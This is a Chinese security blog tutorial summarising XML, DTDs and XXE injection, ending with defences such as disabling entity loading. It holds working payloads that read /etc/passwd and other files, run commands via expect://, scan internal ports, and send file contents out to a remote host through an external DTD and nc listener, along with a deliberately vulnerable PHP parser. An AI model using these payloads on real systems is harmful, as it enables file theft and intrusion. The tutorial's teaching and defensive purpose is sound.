XXE 总结

XXE 总结

XML

分为几个主要部分,HTML 可以看作是 XML 的一种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

XML 的格式规范由 DTD 定义,类似

1
2
3
4
5
6
7
<?xml version="1.0"> 
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

这个 DTD 定义了根元素是 message,message 下面有4个子元素,还定义了子元素类型。

DTD 声明

DTD 可以在内部声明,也可以从外部引用

1
2
3
<!DOCTYPE rootelement [declaration]>

<!DOCTYPE rootelement STSTEM "file">

关键字

  • DOCTYPE:DTD 的声明
  • ENTITY:实体的声明
  • SYSTEM、PUBLIC:外部资源申请

实体

类似于变量,在 DTD 中定义,可以在文档中其他位置引用,可根据在文档内部定义或从外部引用定义分为内部实体和外部实体

1
2
3
4
5
6
7
8
9
外部实体:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

也可以引用公用 DTD 定义外部实体

1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

也可分为通用实体和参数实体,通用实体在 DTD 中定义,在 XML 文档中使用&引用,参数实体使用% name在 DTD 中定义,只能在 DTO 中使用%引用

1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

URI 中可使用的协议类型

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher
phar

PHP 在开启相应扩展后还能支持更多协议类型(最好的语言

Extension Scheme
openssl https、ftps
zip zip
ssh2 ssh2.shell、ssh2.exec、ssh2.tunnel、ssh2.sftp、ssh2.scp
rar rar
ogg oggvorbis
expect expect

XXE

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

读取文件

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

如果内容包含带有 XML 语义的字符,会导致解析失败,可以进行转义,比如使用 base64

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>

或是使用<![CDATA[xxx]]>,其中xxx内容被转义,不会解析,但是只能在 DTO 中拼接,并在 XML 中调用

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

命令执行

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>

需要 expect 扩展

Blind XXE

实际是外带

服务端 index.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

payload

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

过程:

首先调用 %remote,服务器引入http://ip/test.dtd,然后调用 %int,调用 test.dtd 中的%file,获取敏感文件并放在参数 p 的位置,最后调用%send,将结果发送到远程。

可以发现利用 XXE 可以实现 SSRF。可以参考上面 URI 中可使用的协议类型。

也可使用jar:进行文件上传

1
jar:http://host/app.jar!/file/in/zip

! 表示解压其中的文件,请求到文件后,会把它保存到临时文件,提取出指定文件,最后删除临时文件。

漏洞探测

在请求头 Content-Type 添加text/xmlapplication/xml,并添加 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#任意文件读取(有回显)
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>


#无回显的情况,使用外带数据通道提取数据,先用 file:// 或 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器):
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

#evil.dtd的内容:(内部的 % 号要进行实体编码成 %)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ip:9999?p=%file;'>">

#最后用nc进行本地监听
nc -lvv 9999


#命令执行 ( PHP 要开启 PECL 上的 Expect 扩展)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "expect://whoami">
]>


#测试后端服务器的开放端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY portscan SYSTEM "http://192.168.1.5:3389">
]>
#通过返回的 “Connection refused” 可以知道该 81 端口是 closed 的,而 80 端口是open的

防御

禁用外部实体

PHP:

1
Copylibxml_disable_entity_loader(true);

JAVA:

1
2
CopyDocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
Copyfrom lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤输入

1
2
3
4
<!DOCTYPE
<!ENTITY
SYSTEM
PUBLIC
作者

lll

发布于

2021-04-14

更新于

2022-09-19

许可协议